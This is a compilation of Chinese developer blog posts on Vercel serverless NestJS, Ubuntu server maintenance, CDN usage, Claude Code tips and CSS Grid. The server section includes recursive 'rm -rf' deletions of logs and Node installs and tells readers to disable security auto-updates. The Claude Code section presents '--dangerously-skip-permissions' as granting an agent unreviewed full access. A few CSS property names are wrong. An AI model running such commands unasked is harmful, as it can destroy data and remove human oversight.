| **预热请求**              | ⚠️ 可缓解   | 定时发送请求让函数保持活跃（如用 cron job ping）             |
| **Edge Function 替代**    | ✅ 无冷启动 | 适合处理轻量逻辑，但不能用 NestJS                            |
| **不要用 `app.listen()`** | ✅ 必须     | NestJS 在 Serverless 模式下要用 `expressAdapter.getHandler()` |

轮询或定时心跳请求可以让 Serverless 实例保持“活跃”，避免 Vercel 冷启动，但是带来的两个问题

**请求次数（invocations）消耗**

Vercel 免费额度为：

* **每月 100 万次函数调用（Serverless）**
* 超过会计费

定时轮询如每 5 分钟一次，就会导致：

* 单点 12 次/小时 × 24 小时 × 30 天 = **8640 次/月**
* 多个函数、多个用户、多个实例 = 快速吃光配额

函数执行时间（执行量）也会被计费

如果你的函数稍微复杂，哪怕执行几十毫秒，也会累计：

* 免费额度每月约 100 小时

定时请求就会偷偷“吞掉”你的一部分执行时间，尤其 NestJS 冷启动时执行逻辑更多

| 方法                              | 描述                                                     | 优点           | 缺点             |
| --------------------------------- | -------------------------------------------------------- | -------------- | ---------------- |
| **只对核心接口做保温**            | 只定时请求关键慢接口（如 `/api/init`）                   | 精准高效       | 控制复杂度增加   |
| **客户端访问时 warm up**          | 用户第一次访问页面时先触发“唤醒 ping”                    | 避免冷请求卡住 | 仍有首次冷启动   |
| **动态监控 + 热度检测保温**       | 判断是否活跃后再保温（需配合 DB）                        | 节省资源       | 实现复杂         |
| **前端 loading UX 遮挡**          | UI 上优化冷启动卡顿体验                                  | 用户体验较好   | 实质没有变快     |
| **Serverless + 常驻服务混合部署** | 把频繁请求放到 Fly.io / Render / Supabase Edge Functions | 高可用         | 成本和复杂度略升 |

**定时 ping API**：

**在前端项目里，用 `setInterval` 每隔几分钟请求一次 API**

**外部定时任务 ping**

| 工具                                 | 地址                                   | 特点                |
| ------------------------------------ | -------------------------------------- | ------------------- |
| [EasyCron](https://www.easycron.com) | 免费支持 HTTP 调用                     | 每 X 分钟 ping 一次 |
| [Cron-job.org](https://cron-job.org) | 免费、支持日志                         | 简单好用            |
| [GitHub Actions](https://github.com) | 自托管 cron（比如每 5 分钟 curl 一次） | 免费但不连续运行    |
| 自己的 VPS                           | 自定义定时任务                         | 自由，但需维护环境  |

如果你部署的是整个 Nest 应用到一个 Serverless 函数（比如 Vercel 的 `/api/index.ts`），那只要你“心跳”其中任意一个接口，就等于整个框架都预热了，其他接口也热了。

Vercel 会根据你项目的 `api/` 目录或 Serverless 入口配置，把每个函数部署为**一个独立的 Serverless 实例**

在 **Vercel 的 Serverless 架构**下，函数被调用时不应该自己“监听端口”（`app.listen()`），而是应该**返回一个“请求处理器”函数**供平台调用。

不要用 `app.listen(...)` 直接监听端口，它适合部署在传统服务器（如 Render/Fly.io），**不适用于 Vercel Serverless**

::: details 示例

```js
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { INestApplication } from '@nestjs/common';

let cachedApp: INestApplication;

async function bootstrap(): Promise<INestApplication> {
  if (!cachedApp) {
    const app = await NestFactory.create(AppModule);
    
    // 添加CORS支持
    app.enableCors({
      origin: true,
      credentials: true,
    });

    // 设置全局前缀（可选）
    // app.setGlobalPrefix('api');

    await app.init();
    cachedApp = app;
  }
  return cachedApp;
}

export default async (req, res) => {
  const app = await bootstrap();
  const httpAdapter = app.getHttpAdapter();
  httpAdapter.getInstance()(req, res);
};
```

:::

**支持本地调试 + Vercel 部署**

```js
// src/main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import { INestApplication } from '@nestjs/common';

let cachedApp: INestApplication;

export async function bootstrap(): Promise<INestApplication> {
  if (!cachedApp) {
    const app = await NestFactory.create(AppModule);

    app.enableCors({
      origin: true,
      credentials: true,
    });

    await app.init();
    cachedApp = app;
  }
  return cachedApp;
}

// 如果不是在 Vercel 环境下（即本地运行），就执行监听端口
if (!process.env.VERCEL) {
  bootstrap().then(app => {
    const port = process.env.PORT || 3000;
    app.listen(port, () => {
      console.log(`🚀 Local server listening on http://localhost:${port}`);
    });
  });
}

// 如果是 Vercel，则导出 handler
export default async function handler(req, res) {
  const app = await bootstrap();
  const httpAdapter = app.getHttpAdapter();
  return httpAdapter.getInstance()(req, res);
}

```

**使用概览**

| 项目                      | 用量                  | 限额         | 说明                                     |
| ------------------------- | --------------------- | ------------ | ---------------------------------------- |
| Blob Advanced Operations  | 21 / 2000             | 很少用       | 高级 Blob 操作次数，基本没达到瓶颈       |
| Function Invocations      | 240 / 100000          | 只用了 0.24% | Serverless 函数调用次数，远未接近上限    |
| Blob Simple Operations    | 12 / 10000            | 很少用       | 简单 Blob 操作次数                       |
| Edge Requests             | 622 / 1000000         | 极少用       | 边缘请求数（Edge Network）               |
| Fast Data Transfer        | 6.24 MB / 100 GB      | 远未用完     | 快速数据传输流量                         |
| Function Duration         | 0 GB-Hrs / 100 GB-Hrs | 0            | 函数运行时间（貌似没统计？或者很少运行） |
| Fast Origin Transfer      | 274.7 KB / 10 GB      | 很小         | 快速起源传输流量                         |
| Blob Data Transfer        | 5.42 KB / 10 GB       | 很少用       | Blob 数据传输流量                        |
| Blob Data Storage         | 22.52 B / 1 GB        | 极少用       | Blob 存储空间占用非常小                  |
| Edge Request CPU Duration | 0 / 1 h               | 很少用       | CPU 计费时间，未用                       |

---

---
url: /posts/qo8px17v/index.md
---
Ubuntu/Debian 系统中：

* `apt-check`：检查系统更新（是否有可升级的软件包）。
* `unattended-upgrade`：自动升级服务，用于后台安装安全补丁。

在资源有限的服务器（如 2 核 4G）上，这些进程不定时运行会占用 CPU，影响性能。

## 禁用自动更新

停止并禁用自动升级服务：

```bash
sudo systemctl stop unattended-upgrades
sudo systemctl disable unattended-upgrades
```

修改自动更新配置：

编辑 `/etc/apt/apt.conf.d/20auto-upgrades`：

```bash
sudo nano /etc/apt/apt.conf.d/20auto-upgrades
```

将内容改为：

```bash
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Unattended-Upgrade "0";
```

手动更新系统：

```bash
sudo apt update && sudo apt upgrade -y
```

## Node.js 环境 (nvm 管理)

使用 nvm 管理多个 Node.js 版本时，可能出现：

* 新终端无法找到 `node` 命令。
* 全局 npm 包命令不可用。
* 切换版本后全局包混乱。

在 `~/.profile` 中加载 nvm 并自动切换默认版本

```bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

nvm use default >/dev/null
```

确保 `.profile` 加载 `.bashrc`

```bash
if [ -f "$HOME/.bashrc" ]; then
  . "$HOME/.bashrc"
fi
```

在 `~/.bashrc` 中清理 PATH 并加载当前 Node 版本

```bash
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"

# 清理 PATH 中旧版本 Node 路径
PATH=$(echo "$PATH" | tr ':' '\n' | grep -v "$NVM_DIR/versions/node" | paste -sd ':' -)

# 添加当前版本 Node 的 bin
export PATH="$NVM_DIR/versions/node/$(nvm current)/bin:$PATH"
```

设置默认 Node 版本

```bash
nvm alias default 20.19.4  # 替换为你的 Node 版本
```

## npm 镜像源切换

* 官方源：

```bash
npm config set registry https://registry.npmjs.org/
```

* 淘宝镜像（国内访问更快）：

```bash
npm config set registry https://registry.npmmirror.com/
```

## 系统空间清理

查找占用最多的目录：

```bash
du -h --max-depth=1 / | sort -hr | head -n 20
```

进一步查看大目录：

```bash
du -h --max-depth=1 /var | sort -hr | head -n 20
```

清理 apt 缓存：

```bash
sudo apt clean && sudo apt autoremove -y && sudo apt autoclean
```

清理日志：

```bash
journalctl --disk-usage
sudo rm -rf /var/log/*.gz /var/log/*.[0-9] /var/log/journal/*
```

清理 Node/npm 缓存：

```bash
npm cache clean --force
rm -rf ~/.npm ~/.nvm /usr/local/lib/node_modules
```

宝塔面板临时缓存：

```bash
rm -rf /www/server/panel/data/*.log
rm -rf /www/server/panel/plugin/*/log
rm -rf /www/server/panel/logs/*
```

## 设置 `cls` 为 `clear` 别名

```bash
echo "alias cls='clear'" >> ~/.bashrc
source ~/.bashrc
```

以后输入 `cls` 即可清屏，类似 Windows 命令。

## 查找并终止占用端口的进程

查找占用端口 9000 的进程：

```bash
sudo lsof -i :9000
```

杀掉占用进程：

```bash
sudo kill -9 <PID>
```

查看所有监听端口：

```bash
sudo netstat -tuln
# 或
sudo ss -tuln
```

---

---
url: /posts/qoyg9h87/index.md
---
## CDN 的作用

**“像传统 CDN 一样直接发文件”**（拿到某个 `.js/.css/.png` 的静态地址）

* jsDelivr、UNPKG 都很适合
* 特点：URL 结构简单、缓存命中高（固定版本时）

**“浏览器里直接 import npm 包（ESM）”**（不用打包器）

* esm.sh 强项（自动把 npm 包转成可浏览器 import 的 ESM，还能做 target/alias/deps 等控制）
* UNPKG 也能做（前提：包本身提供 ESM 构建文件，例如 `dist/*.module.js`）

**“查一个包到底有哪些文件 / 默认入口是什么”**

* UNPKG 的 `?meta` 很顺手（直接返回目录 JSON + SRI）
* jsDelivr 有公开 API（甚至能给你推荐 entrypoints、统计数据）

***

**注意**：**jsDelivr / UNPKG / esm.sh 本质都不是“给你上传文件的网盘”，它们是“从公开来源拉取并缓存分发”**。

所以“上传自己的资源”的正确姿势是：把资源发布到它们支持的**源站**（最常见：**GitHub 公共仓库**、**npm 公共包**），然后用 CDN URL 分发。

## 开源分发 CDN（靠 GitHub/npm 做源）

* **jsDelivr**：`npm` + `GitHub` 两条线，支持版本范围、自动 `.min`、combine 合并、公开 API、Purge 工具等
* **UNPKG**：专注 npm，一把梭“npm 文件服务器 + CDN”；`?meta` / `/_meta` 特别好用（带 SRI）
* **esm.sh**：把 npm 包转换成浏览器可直接 `import` 的 ESM（还支持 target/deps/alias/bundle/worker/raw 等）

## 静态托管平台（你真的“上传”了资源，并自带 CDN）

适合你要托管**非 npm 包**、**私有**或**更像传统站点**的静态资源：

* **Cloudflare Pages**：官方描述包含“部署到 Cloudflare 网络”，并写明“所有计划 unlimited sites/seats/requests/bandwidth”（以它官网口径为准）
* **Netlify / Vercel**：也能免费起步，但有配额/计费体系（看它们 Pricing 页）
* **GitHub Pages**：是托管，不算 CDN；但免费、常用，能配自定义域名/HTTPS

## 上传你自己的资源：两条最主流路线

### 路线 1：GitHub 公共仓库 → jsDelivr（gh）分发（最适合图片/静态文件/构建产物）

#### 准备

1. 一个 **public** GitHub repo
2. 把你要分发的资源放进去（建议放在 `dist/` 或 `assets/`）
3. **打 tag / release / commit hash 固定版本**（生产强烈建议）

jsDelivr 的 GitHub 入口格式官方写得很清楚：`https://cdn.jsdelivr.net/gh/user/repo@version/file`，version 可以是 release/tag/commit/branch，官方也明确“不建议生产省略版本”

#### URL 怎么写（最常用三种）

* **固定 tag（推荐生产）**`https://cdn.jsdelivr.net/gh/<user>/<repo>@v1.2.3/assets/logo.png`
* **固定 commit（最强可复现）**`https://cdn.jsdelivr.net/gh/<user>/<repo>@<commit_sha>/dist/app.js`
* \*\*用范围或分支（不推荐生产）\*\*版本范围示例：`@3` / `@3.6` 这种是可以的 ，省略版本拿最新：官方明确不建议生产

#### 更新文件后，CDN 还是旧的

**正确解法（推荐）**：发布新 tag / 新 commit，然后在你页面里改 URL（版本号变了就是天然 cache busting）

**不得不用 @latest / 分支时**：用 jsDelivr 的 **Purge 工具**去刷新缓存（它官方就写：否则可能要等一段时间）

#### 目录浏览 / 找文件路径的小技巧

jsDelivr 官方提示：URL 末尾加 `/` 可以拿到目录 listing（找路径很爽）

例如：`https://cdn.jsdelivr.net/gh/<user>/<repo>@v1.2.3/`

#### 进阶：combine 合并多个文件（减少请求数）

jsDelivr 有 combine endpoint：`/combine/url1,url2,url3`，npm 和 GitHub 的 URL 都能合并

示例（思路）：把多个小脚本合成一个请求，适合 demo 或老项目“请求太多”的急救。

注意：combine 对“分支”场景有坑（组合结果可能只生成一次不更新），官方 issue 里讨论过这点——**combine + branch 不要指望自动更新**。

### 路线 2：发布 npm 公共包 → UNPKG / jsDelivr / esm.sh 分发（最适合 JS/CSS/组件库/可复用资源）

这条路线其实是“**把你的资源当一个 npm 包发布**”，然后 3 个 CDN 都能吃。

#### npm 包里该放什么（避免把源码/私密文件发出去）

发布 npm 包时，“哪些文件会被包含”是大坑。常见控制方式：

* 用 `files` 字段白名单
* 用 `.npmignore` 排除
* 可以用 `npx npm-packlist` 预览将发布的内容（npm 文档/镜像文档里都有这个思路）

强烈建议：资源型包只发布 `dist/`、`assets/`、`README`、`LICENSE`，别把 `.env`、大图源文件、测试夹带出去。

#### 发布 scoped 公共包（@scope/xxx）

npm 官方文档：scoped 包要公开发布，需要按它的流程（比如 `--access public`）

这一步做完，你的包就能：

* UNPKG：`https://unpkg.com/@scope/pkg@1.0.0/dist/index.js`
* jsDelivr：`https://cdn.jsdelivr.net/npm/@scope/pkg@1.0.0/dist/index.js`
* esm.sh：`https://esm.sh/@scope/pkg@1.0.0`

#### 版本策略（生产必读）

* **生产：固定精确版本**（1.2.3）
* 可以用 jsDelivr 的版本范围（如 `@3`、`@3.1`），它官方也写了“版本回退”机制：如果新版本没这个文件，会继续从旧版本提供而不是 404（这对稳定性挺有用）
* **不要用 `@latest` / 省略版本**（官方也说危险）

## jsDelivr（npm + GitHub）超级实用技巧合集

### npm 资源 URL 模板

`https://cdn.jsdelivr.net/npm/<pkg>@<version>/<path>`

### “自动 minify”：你加 `.min`，它尽量给你现成或帮你生成

jsDelivr 文档：会先找同名 `.min.js`，找不到就自己 minify，所以你可以：`.../dist/app.js` → `.../dist/app.min.js`（很多时候直接可用）

## UNPKG 超详细：找文件、拿 SRI、做 importmap

### URL 模板（npm 文件服务器）

`https://unpkg.com/<pkg>@<version>/<path>`

### `?meta`：列目录 + 文件信息（非常适合“我不知道路径”）

UNPKG 官方文档页里展示了 `?meta` 的用法（返回 JSON 列表等）
典型用法：

* `https://unpkg.com/你的包@1.2.3/?meta`
* `https://unpkg.com/你的包@1.2.3/dist/?meta`

### `/_meta`：拿单文件元数据（重点是 SRI integrity）

UNPKG 的 issue 里官方明确说：**把请求路径前面加 `/_meta` 就能拿到包含 `integrity` 的元数据**

例如思路：`https://unpkg.com/_meta/<pkg>@<ver>/<path/to/file.js>` 拿到的 JSON 里有 `integrity`，你就能在 HTML 里写：

## esm.sh 超详细：把 npm 变成浏览器可 import 的 ESM

esm.sh 的定位就是：**ESM CDN**，并且它官方文档/README 对 query 参数写得很清楚

### 最基础：直接 import

```bash
import React from "https://esm.sh/react@18.3.1";
```

### 依赖版本锁定：`?deps=`

esm.sh 官方：`?deps=react@18.3.1,react-dom@18.3.1` 这种格式
适合解决 peerDependencies 乱飘：

```bash
import useSWR from "https://esm.sh/swr?deps=react@18.3.1,react-dom@18.3.1";
```

### 依赖替换：`?alias=`

esm.sh README/文档有 alias 的例子（经典：react → preact/compat）适合“想用更小的运行时”。

### 构建目标：`?target=`

esm.sh 支持 target（es2015/es2022/deno/node 等），用于兼容性/体积权衡

### 打包控制：`?bundle=false` / `?standalone`

esm.sh 文档里列了 bundle/standalone 等选项，经验上：

* **小项目/原型**：默认即可
* **想减少请求**：standalone
* **遇到语义问题**（side effects / import.meta.url 等）：试试 `bundle=false`

### “我要原文件，不要转译”：`?raw` / `raw.esm.sh`

esm.sh 官方提供 raw 模式 ，这在你想直接发 `*.min.js`、图片、或者“包里就是静态文件”时特别有用。

## jsDelivr CDN完全指南

jsDelivr是一个免费的开源CDN（Content Delivery Network），专门为开源项目提供快速、可靠的静态资源分发服务。它支持多种资源来源，包括GitHub、npm、WordPress等。

### 工作原理

```mermaid
graph LR
    A[用户请求] --> B[jsDelivr CDN]
    B --> C{缓存检查}
    C -->|命中| D[返回缓存内容]
    C -->|未命中| E[从源站获取]
    E --> F[GitHub/npm/WordPress]
    F --> G[缓存并返回]
    G --> A
```

### 支持的资源类型

#### GitHub仓库

```bash
# 基本格式
https://cdn.jsdelivr.net/gh/用户名/仓库名@版本号/文件路径

# 示例
https://cdn.jsdelivr.net/gh/jquery/jquery@3.6.0/dist/jquery.min.js
```

#### npm包

```bash
# 基本格式
https://cdn.jsdelivr.net/npm/包名@版本号/文件路径

# 示例
https://cdn.jsdelivr.net/npm/vue@3.3.4/dist/vue.global.js
```

### GitHub仓库加速

#### 基本使用方法

##### URL格式规则

```bash
# 完整格式
https://cdn.jsdelivr.net/gh/用户名/仓库名@分支或标签/文件路径

# 使用默认分支（推荐）
https://cdn.jsdelivr.net/gh/用户名/仓库名/文件路径

# 指定分支
https://cdn.jsdelivr.net/gh/用户名/仓库名@main/文件路径

# 指定标签版本
https://cdn.jsdelivr.net/gh/用户名/仓库名@v1.0.0/文件路径
```

#### 实际应用示例

##### 图片资源加速

```html
<!-- GitHub原始链接（慢） -->
<img src="https://raw.githubusercontent.com/name/my-images/main/logo.png">

<!-- jsDelivr CDN链接（快） -->
<img src="https://cdn.jsdelivr.net/gh/name/my-images/logo.png">
```

##### JavaScript库加速

```html
<!-- 加载开源JavaScript库 -->
<script src="https://cdn.jsdelivr.net/gh/highlightjs/highlight.js@11.8.0/build/highlight.min.js"></script>

<!-- 加载CSS样式文件 -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/highlight.js@11.8.0/build/sty
```

### 版本管理策略

#### 使用标签版本（推荐）

```bash
# 使用具体版本标签，确保稳定性
https://cdn.jsdelivr.net/gh/jquery/jquery@3.6.0/dist/jquery.min.js

# 使用语义化版本范围
https://cdn.jsdelivr.net/gh/jquery/jquery@3/dist/jquery.min.js  # 最新3.x版本
```

#### 使用分支版本

```bash
# 使用主分支（内容可能变化）
https://cdn.jsdelivr.net/gh/username/repo@main/file.js

# 使用开发分支
https://cdn.jsdelivr.net/gh/username/repo@develop/file.js
```

### npm包分发服务

#### npm包CDN使用

##### 基本语法

```bash
# 完整格式
https://cdn.jsdelivr.net/npm/包名@版本号/文件路径

# 使用最新版本
https://cdn.jsdelivr.net/npm/包名/文件路径

# 指定版本范围
https://cdn.jsdelivr.net/npm/包名@^1.0.0/文件路径
```

##### 常用前端库示例

###### Vue.js

```html
<!-- Vue 3 -->
<script src="https://cdn.jsdelivr.net/npm/vue@3/dist/vue.global.js"></script>

<!-- Vue 2 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
```

###### React

```html
<!-- React 开发版 -->
<script src="https://cdn.jsdelivr.net/npm/react@18/umd/react.development.js"></script>
<script src="https://cdn.jsdelivr.net/npm/react-dom@18/umd/react-dom.development.js"></script>

<!-- React 生产版 -->
<script src="https://cdn.jsdelivr.net/npm/react@18/umd/react.production.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/react-dom@18/umd/react-dom.production.min.js"></script>
```

###### 工具库

```html
<!-- Lodash -->
<script src="https://cdn.jsdelivr.net/npm/lodash@4/lodash.min.js"></script>

<!-- Moment.js -->
<script src="https://cdn.jsdelivr.net/npm/moment@2/moment.min.js"></script>

<!-- Axios -->
<script src="https://cdn.jsdelivr.net/npm/axios@1/dist/axios.min.js"></script>
```

### 包文件浏览

#### 浏览包内容

```bash
# 查看包的所有文件
https://cdn.jsdelivr.net/npm/包名/

# 查看特定版本的文件
https://cdn.jsdelivr.net/npm/包名@版本号/

# 示例：查看Vue包内容
https://cdn.jsdelivr.net/npm/vue@3/
```

#### 自动文件选择

```bash
# jsDelivr会自动选择合适的文件
https://cdn.jsdelivr.net/npm/vue@3  # 自动选择 dist/vue.global.js

# 手动指定文件
https://cdn.jsdelivr.net/npm/vue@3/dist/vue.esm-browser.js
```

### 组合加载功能

#### 多文件合并

```html
<!-- 合并多个文件为一个请求 -->
<script src="https://cdn.jsdelivr.net/combine/npm/jquery@3,npm/bootstrap@5/dist/js/bootstrap.bundle.min.js"></script>

<!-- 合并CSS文件 -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/combine/npm/bootstrap@5/dist/css/bootstrap.min
```

#### 压缩和优化

```bash
# 自动压缩（添加.min后缀）
https://cdn.jsdelivr.net/npm/vue@3/dist/vue.global.min.js

# 原始文件
https://cdn.jsdelivr.net/npm/vue@3/dist/vue.global.js
```

### 高级功能与配置

#### API接口使用

##### 包信息查询

```js
// 获取包的基本信息
fetch('https://data.jsdelivr.com/v1/package/npm/vue')
  .then(response => response.json())
  .then(data => console.log(data));

// 获取包的版本列表
fetch('https://data.jsdelivr.com/v1/package/npm/vue/versions')
  .then(response => response.json())
  .then(data => console.log(data));
```

##### 文件列表查询

```js
// 获取包的文件列表
fetch('https://data.jsdelivr.com/v1/package/npm/vue@3/flat')
  .then(response => response.json())
  .then(data => console.log(data.files));

// 获取GitHub仓库文件列表
fetch('https://data.jsdelivr.com/v1/package/gh/jquery/jquery@3.6.0/flat')
  .then(response => response.json())
  .then(data => console.log(data.files));
```

##### 统计信息查询

```js
// 获取包的下载统计
fetch('https://data.jsdelivr.com/v1/package/npm/vue/stats')
  .then(response => response.json())
  .then(data => console.log(data));
```

#### 缓存控制

##### 缓存策略理解

#### 缓存策略理解

**默认缓存时间**

* 稳定版本：7天
* 预发布版本：1天
* 分支版本：12小时

**缓存刷新**

* 自动刷新：根据版本更新
* 手动刷新：通过API接口

##### 缓存刷新方法

```js
// 通过API刷新缓存
fetch('https://purge.jsdelivr.net/npm/package@version/file', {
  method: 'POST'
});

// 示例：刷新特定文件缓存
fetch('https://purge.jsdelivr.net/npm/vue@3/dist/vue.global.js', {
  method: 'POST'
});
```

#### 性能优化技巧

##### 预加载和预连接

```html
<!-- DNS预解析 -->
<link rel="dns-prefetch" href="//cdn.jsdelivr.net">

<!-- 预连接 -->
<link rel="preconnect" href="https://cdn.jsdelivr.net">

<!-- 预加载关键资源 -->
<link rel="preload" href="https://cdn.jsdelivr.net/npm/vue@3/dist/vue.global.js" as="script">
```

##### 资源优先级控制

```html
<!-- 高优先级资源 -->
<script src="https://cdn.jsdelivr.net/npm/vue@3/dist/vue.global.js" defer></script>

<!-- 低优先级资源 -->
<script src="https://cdn.jsdelivr.net/npm/lodash@4/lodash.min.js" async></script>
```

---

---
url: /posts/r9jpxwvg/index.md
---
可将 Claude Code 请求路由到不同的模型，并自定义任何请求。

***

`/init` 使用代码库文档初始化新的 CLAUDE.md 文件

`/compact` 清除对话历史记录，但保留上下文摘要。可选：`/compact [摘要说明]`

`/clear`（重置）清除对话历史记录并释放上下文

`Alt+m` 可以在三种模式中切换

* 在普通模式下生成的代码都必须进行人工审核
* 在 auto-accept 模式下不需要审核
* 在 plan mode 模式下不会对代码进行修改，只会建议，提出想法

支持图像识别的模型，可以先将图片保存在本地，再拖到 CLI，即可读取图像

在 CLI 中审核代码很不方便，可以在 VScode 中安装一个插件：Claude Code for VSCode，之后在使用 claude code 的时候输入 `\ide` ，即可在 Vscode 中审核代码

并且在编辑器中选中的代码在 claude 中都会加入聊天中

在对话的时候，前面可以加 `think` / `think hard` / `think harder` / `ultrathink`，用于控制模式思考长度

输入一个 `!` 号，将对话窗口切换为命令行模式，执行一些临时的操作，并且执行命令的全过程都会加入到上下文中

输入一个 `#` 号，进入记忆模式，接下来输入的话都会 claude code 作为文件的形式记录下来，变成长期记忆，可以选择 **项目级别** 还是 **用户级别** 的，

`claude -p '对话内容'` 开启临时一次性的对话，或者 `ccr code -p '对话内容'`

用来帮助 AI 获得最新文档的 MCP

```bash
claude mcp add context7 -- npx 	@upstash/context7-mcp 
```

这个命令安装的 MCP 是项目级别的，可以再加一个 `--scope user` 变成用户级别。

`/mcp` 即可查看所有安装过的 MCP，在使用的时候指定使用 MCP 工具即可

`claude mcp remove context7` 删除 MCP

MCP Server 除了本地安装，还可以远程调用

**Claude Code 远程服务器连接**

```bash
claude mcp add --transport http context7 https://mcp.context7.com/mcp --header "CONTEXT7_API_KEY: YOUR_API_KEY"
```

或者使用 SSE 传输：

```bash
claude mcp add --transport sse context7 https://mcp.context7.com/sse --header "CONTEXT7_API_KEY: YOUR_API_KEY"
```

一个 neno 数据库的 MCP

```bash
claude mcp add neno -- npx @neondatabase/mcp-server-neon start <YOUR_NEON_API_KEY>
```

`/permissions` 可以自定义一些规则，当把一些工具添加到 Allow 中，Claude 调用的时候就不需要审核了

```bash
Bash(git commit:*)
```

Deny 用于定义某些工具禁止 Claude 使用

更多内容：https://docs.anthropic.com/zh-CN/docs/claude-code/settings

`mcp__{mcp名称}` 即可将一个 MCP 放到 allow 中

```bash
claude --dangerously-skip-permissions
# ccr code --dangerously-skip-permissions
```

上述命令在启动 claude 后就赋予它最高权限了，可以任意使用命令了

在项目目录中，找到 `.claude` 文件夹，在其中新建一个文件夹，比如名称是 `commands` ，进入文件夹就可以在其中自定义命令了，每个文件都是一个自定义命令，文件的名称就是命令的名称，比如 `code-review.md` ，在 md 文件中使用自然语言描述需要做的事情，自定义命令支持传递参数，比如 `$ARGUMENTS`

```markdown
对比这个分支：$ARGUMENTS，与main分支的差异，并且提出你的review意见。
```

在 CLI 中即可使用 `/code_review 参数`，参数是分支的名称

将文件夹放入项目文件夹或者 Claude 配置文件夹，让其生效与不同范围

hook 可以让 claude 在工作过程中某个特定的节点执行某些特定的操作，比如写完代码执行 prettier 工具等

比如想让 claude 每次写完代码都执行 `nxp prettier --check .`

在项目目录中，在 `.claude` 文件夹中（没有就新建一个），在其中新建一个配置文件 `settings.json` 或者 `settings.local.json`，`local` 的优先级更高，

```json
{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Edit|MultiEdit|Write",
        "hooks": [
          {
            "type": "command",
            "command": "npx prettier --check ."
          }
        ]
      }
    ]
  }
}
```

`PostToolUse` 执行时机是当工具调用完成后执行，` "matcher": "Edit|MultiEdit|Write",` 每当完成文件的修改就触发。

* PosttoolUse 工具调用结束触发
* PreToolUse 工具调用前触发
* Notification 通知时触发

更多信息：https://docs.anthropic.com/zh-CN/docs/claude-code/hooks

`/resume` 查看历史话题，按两下`Esc` 可以跳转到具体某一句话前面继续对话

可以在回退对话的同时回退代码

`/export` 用户导出对话内容

`claude` 可视化界面

---

---
url: /posts/rh0jqfw5/index.md
---
# Grid布局
在现代前端开发中，布局能力是基础也是关键。掌握 **Flexbox、Grid**，以及 **定位（Position）**，你就可以应对绝大多数页面布局需求。

```css
.main{
    display: grid
}
```

* grid 块级的网格布局
* inline-grid 行内的网格布局

`grid-template-columns`：用来指定列的宽度，有几个值就有几列，每个值都是对应的列宽

`grid-template-rows`：用来指定行的高度，有几个值就有几行，每个值都是对应的行高

其值可以是具体的长度值（如 px、em、rem 等），也可以是百分比，百分比对于列宽是相对父元素的宽度，对于行高是相对父元素的高度，还可以使用 `fr` 单位，`fr` 表示可用空间的分数单位。

比如 `grid-template-columns: 1fr 2fr 1fr;` 表示第一列占可用空间的 1 份，第二列占 2 份，第三列占 1 份。

`auto` 表示自动适应内容的大小,比如 `grid-template-columns: 1 auto 1;` 表示第二列的宽度根据内容自动调整。

`repeat()`：用来简化重复的列或行定义，比如 `grid-template-columns: repeat(3, 1fr);` 表示创建 3 列，每列宽度为 1fr，`grid-template-columns: repeat(3, 100px 200px);` 表示创建 6 列，依次为 100px、200px、100px、200px、100px、200px，也就是重复 3 次 `100px 200px`。

`grid-template-gaps`：用来设置网格项之间的间距，可以分别设置行间距和列间距，比如 `grid-row-gap: 10px;` 设置行间距为 10px，`grid-column-gap: 20px;` 设置列间距为 20px，或者使用简写 `grid-gap: 10px 20px;` 分别设置行间距和列间距。

`justify-items`：用来设置网格项在单元格内的水平对齐方式，可以设置为 `start`（左对齐）、`end`（右对齐）、`center`（居中）和 `stretch`（拉伸填满单元格，默认值）。

`align-items`：用来设置网格项在单元格内的垂直对齐方式，可以设置为 `start`（顶部对齐）、`end`（底部对齐）、`center`（居中）和 `stretch`（拉伸填满单元格，默认值）。

`place-items`：是 `justify-items` 和 `align-items` 的简写，可以同时设置水平和垂直对齐方式，比如 `place-items: center;` 表示水平和垂直都居中，`place-items: start end;` 表示水平左对齐，垂直底部对齐。

`justify-content`：用来设置整个网格在容器内的水平对齐方式，可以设置为 `start`（左对齐）、`end`（右对齐）、`center`（居中）、`space-between`（两端对齐，项目之间均匀分布）、`space-around`（项目之间均匀分布，项目两侧间距为项目间距的一半）和 `space-evenly`（项目之间均匀分布，项目两侧间距与项目间距相等）。

`align-content`：用来设置整个网格在容器内的垂直对齐方式，可以设置为 `start`（顶部对齐）、`end`（底部对齐）、`center`（居中）、`space-between`（两端对齐，项目之间均匀分布）、`space-around`（项目之间均匀分布，项目两侧间距为项目间距的一半）和 `space-evenly`（项目之间均匀分布，项目两侧间距与项目间距相等）。

`place-content`：是 `justify-content` 和 `align-content` 的简写，可以同时设置水平和垂直对齐方式，比如 `place-content: center;` 表示水平和垂直都居中，`place-content: start end;` 表示水平左对齐，垂直底部对齐。

`justify-content`和`justify-items`的区别在于前者是针对整个网格容器的内容进行对齐，而后者是针对单个网格项在其单元格内进行对齐。同理，`align-content`和`align-items`也是如此。

`grid-template-areas`：用来定义网格区域的名称和布局，可以通过给每个网格项指定 `grid-area` 属性来将其放置在对应的区域内。比如：

```css
.container {
  display: grid;
  grid-template-areas:
    "header header header"
    "sidebar main main"
    "footer footer footer";
  grid-template-columns: 1fr 2fr 1fr;
  grid-template-rows: auto 1fr auto;
}
```

如果一些区域不需要使用，可以用 `.` 来表示空白区域，比如：

```
"header header header"
"sidebar . main"
"footer footer footer";
```

`grid-row-start` 和 `grid-row-end`：用来指定网格项在网格中的起始行和结束行位置，可以使用行号或者 `span` 关键字来表示跨越的行数。比如 `grid-row-start: 1; grid-row-end: 3;` 表示该网格项从第 1 行开始，到第 3 行结束，占据第 1 行和第 2 行。

